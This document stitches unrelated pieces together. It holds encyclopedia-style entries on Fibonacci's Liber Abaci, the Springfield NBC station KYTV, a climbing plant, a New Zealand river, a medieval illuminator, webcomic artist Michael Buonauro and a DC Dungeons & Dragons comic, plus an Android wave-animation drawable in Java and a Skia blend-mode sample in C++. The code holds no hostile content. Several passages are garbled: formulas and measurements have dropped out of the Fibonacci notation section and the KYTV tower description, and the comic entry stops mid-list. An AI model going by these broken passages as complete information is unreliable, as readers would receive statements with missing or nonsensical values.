The book also includes proofs in Euclidean geometry. Fibonacci's method of solving algebraic equations shows the influence of the early 10th-century Egyptian mathematician Abū Kāmil Shujāʿ ibn Aslam.
Fibonacci's notation for fractions
In reading , it is helpful to understand Fibonacci's notation for rational numbers, a notation that is intermediate in form between the Egyptian fractions commonly used until that time and the vulgar fractions still in use today.
Fibonacci's notation differs from modern fraction notation in three key ways:
Modern notation generally writes a fraction to the right of the whole number to which it is added, for instance for 7/3. Fibonacci instead would write the same fraction to the left, i.e., .
Fibonacci used a composite fraction notation in which a sequence of numerators and denominators shared the same fraction bar; each such term represented an additional fraction of the given numerator divided by the product of all the denominators below and to the right of it. That is, , and . The notation was read from right to left. For example, 29/30 could be written as , representing the value . This can be viewed as a form of mixed radix notation, and was very convenient for dealing with traditional systems of weights, measures, and currency. For instance, for units of length, a foot is 1/3 of a yard, and an inch is 1/12 of a foot, so a quantity of 5 yards, 2 feet, and inches could be represented as a composite fraction: yards. However, typical notations for traditional measures, while similarly based on mixed radixes, do not write out the denominators explicitly; the explicit denominators in Fibonacci's notation allow him to use different radixes for different problems when convenient. Sigler also points out an instance where Fibonacci uses composite fractions in which all denominators are 10, prefiguring modern decimal notation for fractions.
Fibonacci sometimes wrote several fractions next to each other, representing a sum of the given fractions. For instance, 1/3+1/4 = 7/12, so a notation like would represent the number that would now more commonly be written as the mixed number , or simply the improper fraction . Notation of this form can be distinguished from sequences of numerators and denominators sharing a fraction bar by the visible break in the bar. If all numerators are 1 in a fraction written in this form, and all denominators are different from each other, the result is an Egyptian fraction representation of the number. This notation was also sometimes combined with the composite fraction notation: two composite fractions written next to each other would represent the sum of the fractions.
The complexity of this notation allows numbers to be written in many different ways, and Fibonacci described several methods for converting from one style of representation to another. In particular, chapter II.7 contains a list of methods for converting an improper fraction to an Egyptian fraction, including the greedy algorithm for Egyptian fractions, also known as the Fibonacci–Sylvester expansion.
Modus Indorum
In the , Fibonacci says the following introducing the affirmative Modus Indorum (the method of the Indians), today known as Hindu–Arabic numeral system or base-10 positional notation. It also introduced digits that greatly resembled the modern Arabic numerals.
As my father was a public official away from our homeland in the Bugia customshouse established for the Pisan merchants who frequently gathered there, he had me in my youth brought to him, looking to find for me a useful and comfortable future; there he wanted me to be in the study of mathematics and to be taught for some days. There from a marvelous instruction in the art of the nine Indian figures, the introduction and knowledge of the art pleased me so much above all else, and I learnt from them, whoever was learned in it, from nearby Egypt, Syria, Greece, Sicily and Provence, and their various methods, to which locations of business I travelled considerably afterwards for much study, and I learnt from the assembled disputations. But this, on the whole, the algorithm and even the Pythagorean arcs, I still reckoned almost an error compared to the Indian method. Therefore strictly embracing the Indian method, and attentive to the study of it, from mine own sense adding some, and some more still from the subtle Euclidean geometric art, applying the sum that I was able to perceive to this book, I worked to put it together in xv distinct chapters, showing certain proof for almost everything that I put in, so that further, this method perfected above the rest, this science is instructed to the eager, and to the Italian people above all others, who up to now are found without a minimum. If, by chance, something less or more proper or necessary I omitted, your indulgence for me is entreated, as there is no one who is without fault, and in all things is altogether circumspect.
The nine Indian figures are:
9 8 7 6 5 4 3 2 1
With these nine figures, and with the sign 0 which the Arabs call zephir any number whatsoever is written...
In other words, in his book he advocated the use of the digits 0–9, and of place value. Until this time Europe used Roman Numerals, making modern mathematics almost impossible. The book thus made an important contribution to the spread of decimal numerals. The spread of the Hindu-Arabic system, however, as Ore writes, was "long-drawn-out", taking many more centuries to spread widely, and did not become complete until the later part of the 16th century, accelerating dramatically only in the 1500s with the advent of printing.
Textual history
The first appearance of the manuscript was in 1202. No copies of this version are known. A revised version of dedicated to Michael Scot, appeared in 1227 CE. There are at least nineteen manuscripts extant containing parts of this text. There are three complete versions of this manuscript from the thirteenth and fourteenth centuries. There are a further nine incomplete copies known between the thirteenth and fifteenth centuries, and there may be more not yet identified.
There was no known printed version of until Boncompagni's Italian translation of 1857. The first complete English translation was Sigler's text of 2002.
See also
References
Bibliography
.
. Dover version also available, 1988, .
.
External links
1202 books
Mathematics books
13th-century Latin books
13th century in science |
```java
package home.smart.fly.animations.customview.views;
import android.animation.ValueAnimator;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.ColorFilter;
import android.graphics.ColorMatrixColorFilter;
import android.graphics.Matrix;
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.PixelFormat;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
import android.graphics.Rect;
import android.graphics.drawable.Animatable;
import android.graphics.drawable.Drawable;
import android.os.Build;
import android.util.Log;
import android.view.Choreographer;
import android.view.animation.DecelerateInterpolator;
import static android.content.ContentValues.TAG;
/**
* Created by jing on 16-12-6.
*/
public class WaveDrawable extends Drawable implements Animatable, ValueAnimator.AnimatorUpdateListener {
private static final float WAVE_HEIGHT_FACTOR = 0.2f;
private static final float WAVE_SPEED_FACTOR = 0.02f;
private static final int UNDEFINED_VALUE = Integer.MIN_VALUE;
private Drawable mDrawable;
private int mWidth, mHeight;
private int mWaveHeight = UNDEFINED_VALUE;
private int mWaveLength = UNDEFINED_VALUE;
private int mWaveStep = UNDEFINED_VALUE;
private int mWaveOffset = 0;
private int mWaveLevel = 0;
private ValueAnimator mAnimator = null;
private float mProgress = 0.3f;
private Paint mPaint;
private Bitmap mMask;
private Matrix mMatrix = new Matrix();
private boolean mRunning = false;
private boolean mIndeterminate = false;
private static final PorterDuffXfermode sXfermode = new PorterDuffXfermode(PorterDuff.Mode.DST_IN);
private static ColorFilter sGrayFilter = new ColorMatrixColorFilter(new float[]{
0.264F, 0.472F, 0.088F, 0, 0,
0.264F, 0.472F, 0.088F, 0, 0,
0.264F, 0.472F, 0.088F, 0, 0,
0, 0, 0, 1, 0
});
private ColorFilter mCurFilter = null;
private Choreographer.FrameCallback mFrameCallback = new Choreographer.FrameCallback() {
@Override
public void doFrame(long l) {
invalidateSelf();
if (mRunning) {
Choreographer.getInstance().postFrameCallback(this);
}
}
};
public WaveDrawable(Drawable drawable) {
init(drawable);
}
public WaveDrawable(Context context, int imgRes) {
Drawable drawable;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
drawable = context.getDrawable(imgRes);
} else {
drawable = context.getResources().getDrawable(imgRes);
}
init(drawable);
}
private void init(Drawable drawable) {
mDrawable = drawable;
mMatrix.reset();
mPaint = new Paint();
mPaint.setFilterBitmap(false);
mPaint.setColor(Color.BLACK);
mPaint.setXfermode(sXfermode);
mWidth = mDrawable.getIntrinsicWidth();
mHeight = mDrawable.getIntrinsicHeight();
if (mWidth > 0 && mHeight > 0) {
mWaveLength = mWidth;
mWaveHeight = Math.max(8, (int) (mHeight * WAVE_HEIGHT_FACTOR));
mWaveStep = Math.max(1, (int) (mWidth * WAVE_SPEED_FACTOR));
updateMask(mWidth, mWaveLength, mWaveHeight);
}
setProgress(0);
start();
}
/**
* Set wave move distance (in pixels) in very animation frame
* @param step distance in pixels
*/
public void setWaveSpeed(int step) {
mWaveStep = Math.min(step, mWidth / 2);
}
/**
* Set wave amplitude (in pixels)
* @param amplitude
*/
public void setWaveAmplitude(int amplitude) {
amplitude = Math.max(1, Math.min(amplitude, mHeight / 2));
int height = amplitude * 2;
if (mWaveHeight != height) {
mWaveHeight = height;
updateMask(mWidth, mWaveLength, mWaveHeight);
invalidateSelf();
}
}
/**
* Set wave length (in pixels)
* @param length
*/
public void setWaveLength(int length) {
length = Math.max(8, Math.min(mWidth * 2, length));
if (length != mWaveLength) {
mWaveLength = length;
updateMask(mWidth, mWaveLength, mWaveHeight);
invalidateSelf();
}
}
/**
* Set the wave loading in indeterminate mode or not
* @param indeterminate
*/
public void setIndeterminate(boolean indeterminate) {
mIndeterminate = indeterminate;
if (mIndeterminate) {
if (mAnimator == null) {
mAnimator = getDefaultAnimator();
}
mAnimator.addUpdateListener(this);
mAnimator.start();
} else {
if (mAnimator != null) {
mAnimator.removeUpdateListener(this);
mAnimator.cancel();
}
setLevel(calculateLevel());
}
}
/**
* Set customised animator for wave loading animation
* @param animator
*/
public void setIndeterminateAnimator(ValueAnimator animator) {
if (mAnimator == animator) {
return;
}
if (mAnimator != null) {
mAnimator.removeUpdateListener(this);
mAnimator.cancel();
}
mAnimator = animator;
if (mAnimator != null) {
mAnimator.addUpdateListener(this);
}
}
@Override
public void setBounds(int left, int top, int right, int bottom) {
super.setBounds(left, top, right, bottom);
mDrawable.setBounds(left, top, right, bottom);
}
@Override
protected void onBoundsChange(Rect bounds) {
super.onBoundsChange(bounds);
updateBounds(bounds);
}
private void updateBounds(Rect bounds) {
if (bounds.width() <= 0 || bounds.height() <= 0) {
return;
}
if (mWidth < 0 || mHeight < 0) {
mWidth = bounds.width();
mHeight = bounds.height();
if (mWaveHeight == UNDEFINED_VALUE) {
mWaveHeight = Math.max(8, (int) (mHeight * WAVE_HEIGHT_FACTOR));
}
if (mWaveLength == UNDEFINED_VALUE) {
mWaveLength = mWidth;
}
if (mWaveStep == UNDEFINED_VALUE) {
mWaveStep = Math.max(1, (int) (mWidth * WAVE_SPEED_FACTOR));
}
updateMask(mWidth, mWaveLength, mWaveHeight);
}
}
@Override
public int getIntrinsicHeight() {
return mHeight;
}
@Override
public int getIntrinsicWidth() {
return mWidth;
}
@Override
public void draw(Canvas canvas) {
mDrawable.setColorFilter(sGrayFilter);
mDrawable.draw(canvas);
mDrawable.setColorFilter(mCurFilter);
if (mProgress <= 0.001f) {
return;
}
int sc = canvas.saveLayer(0, 0, mWidth, mHeight, null, Canvas.ALL_SAVE_FLAG);
if (mWaveLevel > 0) {
canvas.clipRect(0, mWaveLevel, mWidth, mHeight);
}
mDrawable.draw(canvas);
if (mProgress >= 0.999f) {
return;
}
mWaveOffset += mWaveStep;
if (mWaveOffset > mWaveLength) {
mWaveOffset -= mWaveLength;
}
if (mMask != null) {
mMatrix.setTranslate(-mWaveOffset, mWaveLevel);
canvas.drawBitmap(mMask, mMatrix, mPaint);
}
canvas.restoreToCount(sc);
}
@Override
protected boolean onLevelChange(int level) {
setProgress(level / 10000f);
return true;
}
@Override
public void setAlpha(int i) {
mDrawable.setAlpha(i);
}
@Override
public void setColorFilter(ColorFilter colorFilter) {
mCurFilter = colorFilter;
invalidateSelf();
}
@Override
public int getOpacity() {
return PixelFormat.TRANSLUCENT;
}
@Override
public void start() {
mRunning = true;
Choreographer.getInstance().postFrameCallback(mFrameCallback);
}
@Override
public void stop() {
mRunning = false;
Choreographer.getInstance().removeFrameCallback(mFrameCallback);
}
@Override
public boolean isRunning() {
return mRunning;
}
@Override
public void onAnimationUpdate(ValueAnimator animation) {
if (mIndeterminate) {
setProgress(animation.getAnimatedFraction());
if (!mRunning) {
invalidateSelf();
}
}
}
public boolean isIndeterminate() {
return mIndeterminate;
}
private ValueAnimator getDefaultAnimator() {
ValueAnimator animator = ValueAnimator.ofFloat(0, 1);
animator.setInterpolator(new DecelerateInterpolator());
animator.setRepeatMode(ValueAnimator.RESTART);
animator.setRepeatCount(ValueAnimator.INFINITE);
animator.setDuration(5000);
return animator;
}
private void setProgress(float progress) {
mProgress = progress;
mWaveLevel = mHeight - (int)((mHeight + mWaveHeight) * mProgress);
invalidateSelf();
}
private int calculateLevel() {
return (mHeight - mWaveLevel) * 10000 / (mHeight + mWaveHeight);
}
private void updateMask(int width, int length, int height) {
if (width <= 0 || length <= 0 || height <= 0) {
Log.w(TAG, "updateMask: size must > 0");
mMask = null;
return;
}
final int count = (int) Math.ceil((width + length) / (float)length);
Bitmap bm = Bitmap.createBitmap(length * count, height, Bitmap.Config.ARGB_8888);
Canvas c = new Canvas(bm);
Paint p = new Paint(Paint.ANTI_ALIAS_FLAG);
int amplitude = height / 2;
Path path = new Path();
path.moveTo(0, amplitude);
final float stepX = length / 4f;
float x = 0;
float y = -amplitude;
for (int i = 0; i < count * 2; i++) {
x += stepX;
path.quadTo(x, y, x+stepX, amplitude);
x += stepX;
y = bm.getHeight() - y;
}
path.lineTo(bm.getWidth(), height);
path.lineTo(0, height);
path.close();
c.drawPath(path, p);
mMask = bm;
}
}
``` |
KYTV (channel 3) is a television station in Springfield, Missouri, United States, affiliated with NBC. It is owned by Gray Television alongside ABC affiliate KSPR-LD (channel 33) and Branson-licensed CW affiliate KYCW-LD (channel 24); it is also sister to Branson-licensed tourist information–formatted station K17DL-D, channel 17 (which is owned by Branson Visitors TV, LLC, a joint venture between Gray [50.1%] and Market Branson, LLC [49.9%]). KYTV, KSPR-LD and KYCW-LD share studios on West Sunshine Street in Springfield, while KYTV's transmitter is located on Highway FF north of Fordland.
History
The station first signed on the air on October 1, 1953, becoming the second television station to sign on in the Springfield market; the first was CBS affiliate KTTS-TV (channel 10, now KOLR), which signed on in March of that same year. Founded by the Cox and Duvall families, it operated from a studio on West Sunshine Street, the first facility located west of the Mississippi River that was built specifically for television production. Channel 3 has been an NBC affiliate since its sign-on, although it also shared a secondary ABC-affiliation with KTTS until KMTC (channel 27, now MyNetworkTV affiliate KOZL-TV) signed on in 1968. On December 26, 1953, KYTV debuted a television broadcast of the show Ozark Jubilee, a live country music program which originated on radio station KWTO (560 AM), owned by the Coxes; ABC began televising the program nationally on January 22, 1955, although it temporarily originated from Columbia until it moved to the Jewell Theatre on April 30 using KYTV's staff and equipment. The station's staff and facilities also played key roles in the production of two other programs that aired on ABC during the 1950s shows Talent Varieties and The Eddy Arnold Show.
KYTV purchased remote broadcasting equipment in 1954. Its first remote broadcast originated that year from the Ozark Empire Fair. Remote telecasts were also brought to viewers from the Plaza Bowl featuring area bowling teams. Other remotes included Springfield Christmas parades, "Man with a Mike" from the Tower Theater on the Plaza, sporting events, and (beginning in 1986) the station's Celebrate the Ozarks program. KYTV purchased one of the nation's first mobile videotape units in March 1959. That year, the station videotaped the dedication of Table Rock Dam and produced Harold Bell Wright's The Shepherd of the Hills on location in Branson. From March 17 to September 22, 1961, KYTV transmitted Five Star Jubilee to NBC from the Landers Theatre. It was the first network color television program to originate outside of New York City or Hollywood although KYTV could not yet broadcast the show locally in color. In 1970, the station adopted its current on-air name, “KY3.”
In 1973, the station built a transmission tower in Marshfield, which became the tallest structure in Missouri, approaching nearly —more than three times the height of the Gateway Arch in St. Louis. In 1978, the Cox and Duvall families sold channel 3 to Harte-Hanks Communications. Harte-Hanks sold the station to South Bend, Indiana-based Schurz Communications in 1987. In 1997, Schurz migrated KYTV's operations from its original building on West Sunshine Street into new facilities adjacent to the original studio.
In 2000, KYTV erected a tower in Fordland for its digital transmitter; the towers in Marshfield and Fordland were surpassed in 2001 by a tower in Syracuse, used by PBS member station KMOS-TV in Sedalia, which was only higher than either of KYTV's towers, which remain the second and third tallest structures in the state and are among the tallest structures in the world.
On September 21, 2006, Schurz entered into a deal in which Perkin Media would acquire ABC affiliate KSPR (channel 33, later KGHZ) from Piedmont Television and manage that station under a shared services agreement. Under the deal, Schurz controlled all of KSPR's non-license assets, with Perkin serving as the owner of that station's FCC broadcast license; channel 33's operations remained at its studio facility on East Saint Louis Street until November 2009, when KSPR moved into a new newsroom and studio addition built onto the Sunshine Street facility.
KYTV's broadcasts became digital-only, effective June 12, 2009. As part of the SAFER Act, KYTV kept its analog signal on the air until June 26 to inform viewers of the digital television transition through a loop of public service announcements from the National Association of Broadcasters.
Schurz announced on September 14, 2015 that it would exit broadcasting and sell its television and radio stations, including KYTV, K15CZ-D (channel 15, now KSPR-LD), and the SSA with KSPR, to Gray Television for $442.5 million. The FCC approved the sale on February 12, 2016, and the sale was completed on February 16, 2016.
News operation
KYTV presently broadcasts 26½ hours of locally produced newscasts each week (with 4½ hours on weekdays and two hours each on Saturdays and Sundays); in addition, the station produces the half-hour sports highlight program O-Zone Sports, which airs Sundays at 10:30 p.m. The station operates its own Doppler radar system, called "Storm Tracker 3", near its transmitter in Fordland. All news anchors may also serve as reporters. For many years, channel 3's newscasts have been in first place in the market, and as of 2013, its news programs have ranked #1 in all timeslots according to Nielsen Media Research.
Since its sign-on, the station has been airing nightly 6 and 10 o'clock broadcasts. A satellite news gathering truck was purchased in 1986. In November 2006, KYTV debuted a new set for its newscasts, which integrated the weather center into the main studio; it also included a background that could be lowered over the set used for sports segments to convert it into an interview area, which changed with the time of day (such as the morning featuring a picture of a sunrise over Springfield). The former weather area was turned into the "Virtual Newsroom," which was later renamed the "KY3 Web Center," where Internet-related news topics are discussed.
Although KSPR moved into KYTV's studio facilities on November 1, 2009, the two stations continued to maintain separate news departments for nearly eight years, occasionally sharing footage for certain news stories. On January 28, 2010, beginning with the 5:00 p.m. newscast, KYTV began broadcasting its local newscasts in high definition; with the upgrade, came the introduction of a new logo and an updated graphics package. In-studio cameras record in HD, however video from field cameras continued to be broadcast in standard definition and upconverted to a 16:9 widescreen format in the control room until June 28, 2011, when the station began transmitting field video in high definition. On August 22, 2011, KYTV began producing an hour-long extension of Ozarks Today on weekday mornings from 7:00 to 8:00 a.m., and a half-hour 9:00 p.m. newscast (which expanded to one hour in June 2013) for CW affiliate KYCW-LD; this is despite the fact that the station is simulcast on the second digital subchannel of ABC-affiliated sister station KSPR-LD.
In 2017, KSPR's news operation was folded into KYTV's. KSPR retains unique local news broadcasts at 11 a.m. and 4 p.m., while at most other times, the stations air combined newscasts. Additionally, Ozarks Today expanded to a fourth hour, airing from 8 to 9, and the KYTV noon news was extended to a full hour. On September 6, 2021, KY3 added an 11 a.m. newscast replacing The Andy Griffith Show (since that show is already airing on KSPR-LD3, which is affiliated with MeTV).
Notable former on-air staff
Norma Champion – former children's show host (1957–1986)
Slim Wilson – country music host (1964–1975)
Subchannels
The station's digital signal is multiplexed:
On December 31, 2008, with the discontinuation of NBC Weather Plus, the station changed the name of its weather offering to KY3 24/7.
On January 2, 2017, KYTV moved its 24/7 weather channel, which had become known as KY3 Weather Nation, to a subchannel of KYCW-LD. On the same day, it added a subchannel simulcasting ABC programming from KSPR 33.1. KYTV notified viewers, saying, "You may notice two KSPR 33.1 subchannels. That is normal, for now." On May 31, 2017, Cozi TV (which was available on DT3, then DT2 after April 1, 2017) was moved to channel 25.3 which is a subchannel of KYCW-LD.
References
External links
NBC network affiliates
Circle (TV network) affiliates
True Crime Network affiliates
ABC network affiliates
Gray Television
YTV (TV)
Television channels and stations established in 1953
1953 establishments in Missouri |
Condylocarpon guyanense is a species of plant in the Apocynaceae family. It is native to Brazil, French Guiana, and Guyana. René Louiche Desfontaines, the botanist who first formally described the species, named it after Guyana where Joseph Martin collected the specimen he examined.
Description
It is a woody, climbing plant. Its reddish-brown, slender, cylindrical, tapering branches have lenticels. The young branches can be covered in soft hairs. Its leaves occur in groups of 3 per node. Its hairless, membranous to slightly leathery, elliptical to oblong leaves are 9–13 by 3–4.5 centimeters. The tips of its leaves taper to a narrow point, with the tapering portion 10 by 1.5–2.5 millimeters. The bases of the leaves are pointed. The leaves have 9–11 pairs of secondary veins emanating from their midribs. The midvein and secondary veins are sunken on the upper surfaces and raised on the undersides of the leaves. The tertiary veins on the underside of the leaves form a distinct networked pattern. Its petioles are 1.2–1.8 centimeters long and have groove and are slightly to densely covered in soft hairs. Its branched, many-flowered Inflorescences occur at the junction between the leaves and stem or in terminal positions. Its inflorescences are slightly to densely covered in soft hairs. The primary branches of the inflorescences are 4–6 centimeters long with bracts that are 1 millimeter long, with pointed tips and fringed margins. Each flower is on a slender pedicels that is 3 millimeters long. Its flowers have 5 sepals with egg-shaped lobes that are covered in soft hairs and have densely fringed margins. The 5 cream-colored to orange petals are fused at their base to form a 1.5 by 0.6–0.8 millimeter tube that constricts at the top and then expands abruptly into 1 by 0.5 millimeter spreading lobes. The petal lobes have strap-shaped appendages at their tips. The base of the lobes have brown marks. Its lance-shaped stamen are inserted half-way up the tube of the petals. Its pistils have cone-shaped ovaries that are 0.5 millimeters long. The ovaries have 2 carpels. Each carpels have 4-5 ovules arranged in two rows. Its stigma are orb-shaped. Its woody, red-brown, hairless fruit are divided into two long, thin sections that are each 15–25 by 7 millimeters. Each section has up to 5 segments containing one seed. The fruit are marked with longitudinal lines, with a streak over the areas that contain seeds.
Reproductive biology
The pollen of Condylocarpon guyanense is shed as permanent tetrads.
Distribution and habitat
It has been observed growing in lowland forests.
References
Rauvolfioideae
Taxa named by René Louiche Desfontaines
Plants described in 1822
Flora of Brazil
Flora of French Guiana
Flora of Guyana |
```c++
/*
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "SampleCode.h"
#include "SkView.h"
#include "SkBlurMask.h"
#include "SkCanvas.h"
#include "SkCornerPathEffect.h"
#include "SkGradientShader.h"
#include "SkGraphics.h"
#include "SkImageDecoder.h"
#include "SkPath.h"
#include "SkRandom.h"
#include "SkRegion.h"
#include "SkShader.h"
#include "SkUtils.h"
#include "SkColorPriv.h"
#include "SkColorFilter.h"
#include "SkTime.h"
#include "SkTypeface.h"
#include "SkXfermode.h"
#include "SkStream.h"
#include "SkXMLParser.h"
#include "SkColorPriv.h"
#include "SkImageDecoder.h"
#include "SkBlurMaskFilter.h"
static void setNamedTypeface(SkPaint* paint, const char name[]) {
SkTypeface* face = SkTypeface::CreateFromName(name, SkTypeface::kNormal);
paint->setTypeface(face);
SkSafeUnref(face);
}
static uint16_t gBG[] = { 0xFFFF, 0xCCCF, 0xCCCF, 0xFFFF };
class XfermodesBlurView : public SampleView {
SkBitmap fBG;
SkBitmap fSrcB, fDstB;
void draw_mode(SkCanvas* canvas, SkXfermode* mode, int alpha,
SkScalar x, SkScalar y) {
SkPaint p;
SkMaskFilter* mf = SkBlurMaskFilter::Create(kNormal_SkBlurStyle,
SkBlurMask::ConvertRadiusToSigma(SkIntToScalar(5)),
SkBlurMaskFilter::kNone_BlurFlag);
p.setMaskFilter(mf)->unref();
SkScalar ww = SkIntToScalar(W);
SkScalar hh = SkIntToScalar(H);
// draw a circle covering the upper
// left three quarters of the canvas
p.setColor(0xFFCC44FF);
SkRect r;
r.set(0, 0, ww*3/4, hh*3/4);
r.offset(x, y);
canvas->drawOval(r, p);
p.setXfermode(mode);
// draw a square overlapping the circle
// in the lower right of the canvas
p.setColor(0x00AA6633 | alpha << 24);
r.set(ww/3, hh/3, ww*19/20, hh*19/20);
r.offset(x, y);
canvas->drawRect(r, p);
}
public:
const static int W = 64;
const static int H = 64;
XfermodesBlurView() {
fBG.installPixels(SkImageInfo::Make(2, 2, kARGB_4444_SkColorType, kPremul_SkAlphaType),
gBG, 4);
}
protected:
// overrides from SkEventSink
virtual bool onQuery(SkEvent* evt) {
if (SampleCode::TitleQ(*evt)) {
SampleCode::TitleR(evt, "XfermodesBlur");
return true;
}
return this->INHERITED::onQuery(evt);
}
virtual void onDrawContent(SkCanvas* canvas) {
canvas->translate(SkIntToScalar(10), SkIntToScalar(20));
if (false) {
SkPaint paint;
paint.setAntiAlias(true);
paint.setTextSize(50);
paint.setTypeface(SkTypeface::CreateFromName("Arial Unicode MS", SkTypeface::kNormal));
SkSafeUnref(paint.getTypeface());
char buffer[10];
size_t len = SkUTF8_FromUnichar(0x8500, buffer);
canvas->drawText(buffer, len, 40, 40, paint);
return;
}
if (false) {
SkPaint paint;
paint.setAntiAlias(true);
SkRect r0 = { 0, 0, 10.5f, 20 };
SkRect r1 = { 10.5f, 10, 20, 30 };
paint.setColor(SK_ColorRED);
canvas->drawRect(r0, paint);
paint.setColor(SK_ColorBLUE);
canvas->drawRect(r1, paint);
return;
}
const struct {
SkXfermode::Mode fMode;
const char* fLabel;
} gModes[] = {
{ SkXfermode::kClear_Mode, "Clear" },
{ SkXfermode::kSrc_Mode, "Src" },
{ SkXfermode::kDst_Mode, "Dst" },
{ SkXfermode::kSrcOver_Mode, "SrcOver" },
{ SkXfermode::kDstOver_Mode, "DstOver" },
{ SkXfermode::kSrcIn_Mode, "SrcIn" },
{ SkXfermode::kDstIn_Mode, "DstIn" },
{ SkXfermode::kSrcOut_Mode, "SrcOut" },
{ SkXfermode::kDstOut_Mode, "DstOut" },
{ SkXfermode::kSrcATop_Mode, "SrcATop" },
{ SkXfermode::kDstATop_Mode, "DstATop" },
{ SkXfermode::kXor_Mode, "Xor" },
{ SkXfermode::kPlus_Mode, "Plus" },
/*{ SkXfermode::kModulate_Mode, "Modulate" },
{ SkXfermode::kScreen_Mode, "Screen" },
{ SkXfermode::kOverlay_Mode, "Overlay" },
{ SkXfermode::kDarken_Mode, "Darken" },
{ SkXfermode::kLighten_Mode, "Lighten" },
{ SkXfermode::kColorDodge_Mode, "ColorDodge" },
{ SkXfermode::kColorBurn_Mode, "ColorBurn" },
{ SkXfermode::kHardLight_Mode, "HardLight" },
{ SkXfermode::kSoftLight_Mode, "SoftLight" },
{ SkXfermode::kDifference_Mode, "Difference" },
{ SkXfermode::kExclusion_Mode, "Exclusion" },*/
};
const SkScalar w = SkIntToScalar(W);
const SkScalar h = SkIntToScalar(H);
SkMatrix m;
m.setScale(SkIntToScalar(6), SkIntToScalar(6));
SkShader* s = SkShader::CreateBitmapShader(fBG,
SkShader::kRepeat_TileMode,
SkShader::kRepeat_TileMode,
&m);
SkPaint labelP;
labelP.setAntiAlias(true);
labelP.setLCDRenderText(true);
labelP.setTextAlign(SkPaint::kCenter_Align);
setNamedTypeface(&labelP, "Menlo Regular");
const int W = 5;
SkScalar x0 = 0;
for (int twice = 0; twice < 2; twice++) {
SkScalar x = x0, y = 0;
for (size_t i = 0; i < SK_ARRAY_COUNT(gModes); i++) {
SkXfermode* mode = SkXfermode::Create(gModes[i].fMode);
SkAutoUnref aur(mode);
SkRect r;
r.set(x, y, x+w, y+h);
SkPaint p;
p.setStyle(SkPaint::kFill_Style);
p.setShader(s);
canvas->drawRect(r, p);
canvas->saveLayer(&r, NULL);
draw_mode(canvas, mode, twice ? 0x88 : 0xFF, r.fLeft, r.fTop);
canvas->restore();
r.inset(-SK_ScalarHalf, -SK_ScalarHalf);
p.setStyle(SkPaint::kStroke_Style);
p.setShader(NULL);
canvas->drawRect(r, p);
canvas->drawText(gModes[i].fLabel, strlen(gModes[i].fLabel),
x + w/2, y - labelP.getTextSize()/2, labelP);
x += w + SkIntToScalar(10);
if ((i % W) == W - 1) {
x = x0;
y += h + SkIntToScalar(30);
}
}
x0 += SkIntToScalar(400);
}
s->unref();
}
private:
typedef SampleView INHERITED;
};
//////////////////////////////////////////////////////////////////////////////
static SkView* MyFactory() { return new XfermodesBlurView; }
static SkViewRegister reg(MyFactory);
``` |
The Mangapapa River is a river of the Manawatū-Whanganui region of New Zealand's North Island. The river rises near the remote settlement of Mangapapa, northwest of Mangaweka. It flows westward through heavily eroded hilly farmland to meet the Turakina River. There is a waterfall on the lower reaches of the river.
See also
List of rivers of New Zealand
References
NZ 1:50000 Topographic Map sheet BK34 - Pohonui.
Rivers of Manawatū-Whanganui |
The Master of the Assisi Choirbooks was an Italian manuscript illuminator active during the last quarter of the thirteenth century. Umbrian or Roman in origin, he is associated with work done for the Basilica of San Francesco d'Assisi; he seems to have known Cimabue's work for that church, and his work also indicates the influence of both the Master of the San Lorenzo Choirbooks and the Master of the Deruta-Salerno Missals.
References
Morello, Giovanni and Laurence B. Kanter, ed.: The Treasury of Saint Francis of Assisi. Milan; Electa, 1999.
13th-century Italian painters
Manuscript illuminators
Assisi Choirbooks, Master of the
Year of birth unknown |
Michael A. Buonauro (May 27, 1979 – May 28, 2004), born in Fort Lauderdale, Florida, was an American webcomic artist, and author. Best known for his webcomic Marvelous Bob, Buonauro had co-created various other webcomics in collaboration with Jeff Lofvers. Buonauro committed suicide in 2004. His parents established the Michael Buonauro Foundation in response, a charity organization which seeks to fund a suicide awareness program.
Works
Buonauro's best known work was Marvelous Bob, a web-published story based on the conventions of comic book superheroes, but in a distinctively realist, postmodern style. The title character is an individual with the powers of a superhero, but is an antihero in many ways: for instance, unlike most "heroes", he has no scruples about killing when necessary.
Buonauro was also co-creator of the webcomics Dr. Lobster, Gamer Hotties, and Wrench Farm, all of which were joint projects with his friend Jeff Lofvers.
Death and legacy
He committed suicide the day after his 25th birthday. His parents have established the Michael Buonauro Foundation which has funded the Signs Of Suicide program (SOS). The SOS program was presented to more than 55,000 students in all the high schools in Orange County, Florida. The SOS program seeks to promote suicide awareness and prevention through education.
Marvelous Bob is in production now, and Buonauro's father and mother are very hopeful that this project will be completed as Buonauro would have wanted. All of its profits go to the Michael Buonauro Foundation.
References
External links
Marvelous Bob website, taken down until further notice.
Dr. Lobster website
American webcomic creators
Writers from Fort Lauderdale, Florida
Artists who died by suicide
1979 births
2004 deaths
2004 suicides |
Advanced Dungeons & Dragons was a comic book produced by DC Comics under license from TSR.
Publication history
From 1988 to 1991, DC Comics published several licensed D&D comics, including Advanced Dungeons & Dragons, Dragonlance, Forgotten Realms, and Spelljammer. Advanced Dungeons & Dragons debuted in October 1988, after the Dragonlance series.
Dan Mishkin was the primary author during the title's three year run.
Creator Jeff Grubb also wrote four fill-in issues. Michael Fleisher also wrote for the series. Jan Duursema was the primary artist for the comic book series for three years. Duursema drew issues #1-22, 24-30, 33-36, and Annual #1 (1988–91), while Ron Randall also provided artwork for issue #8, and Tom Mandrake illustrated issues ##23, 31-32, and Annual #1 (1990-1991).
Elliot S. Maggin served as an editor for DC from 1989 to 1991 and oversaw the licensed TSR titles, including Advanced Dungeons & Dragons.
In October 1991, the TSR license expired, with Advanced Dungeons & Dragons ending at issue 36.
Plot
The series follows the exploits of a group of adventurers in the Forgotten Realms city of Mystara. The main arc is broken into shorter stories 2-4 issues long.
The Gathering. #1-4
An ancient evil rises and threatens the Realms, only a motley band of adventurers can stop it.
The Spirit of Myrrth. #5-8
The party investigates the Jester's Guild in Waterdeep, and confronts the spirit of a long dead Jester King
Catspaw. #9-12
Timoth the Centaur takes a job as a courier. His first assignment draws the attention of Waterdeep's organized crime, headed by Xanathar the Beholder.
Spell Games. #13-16
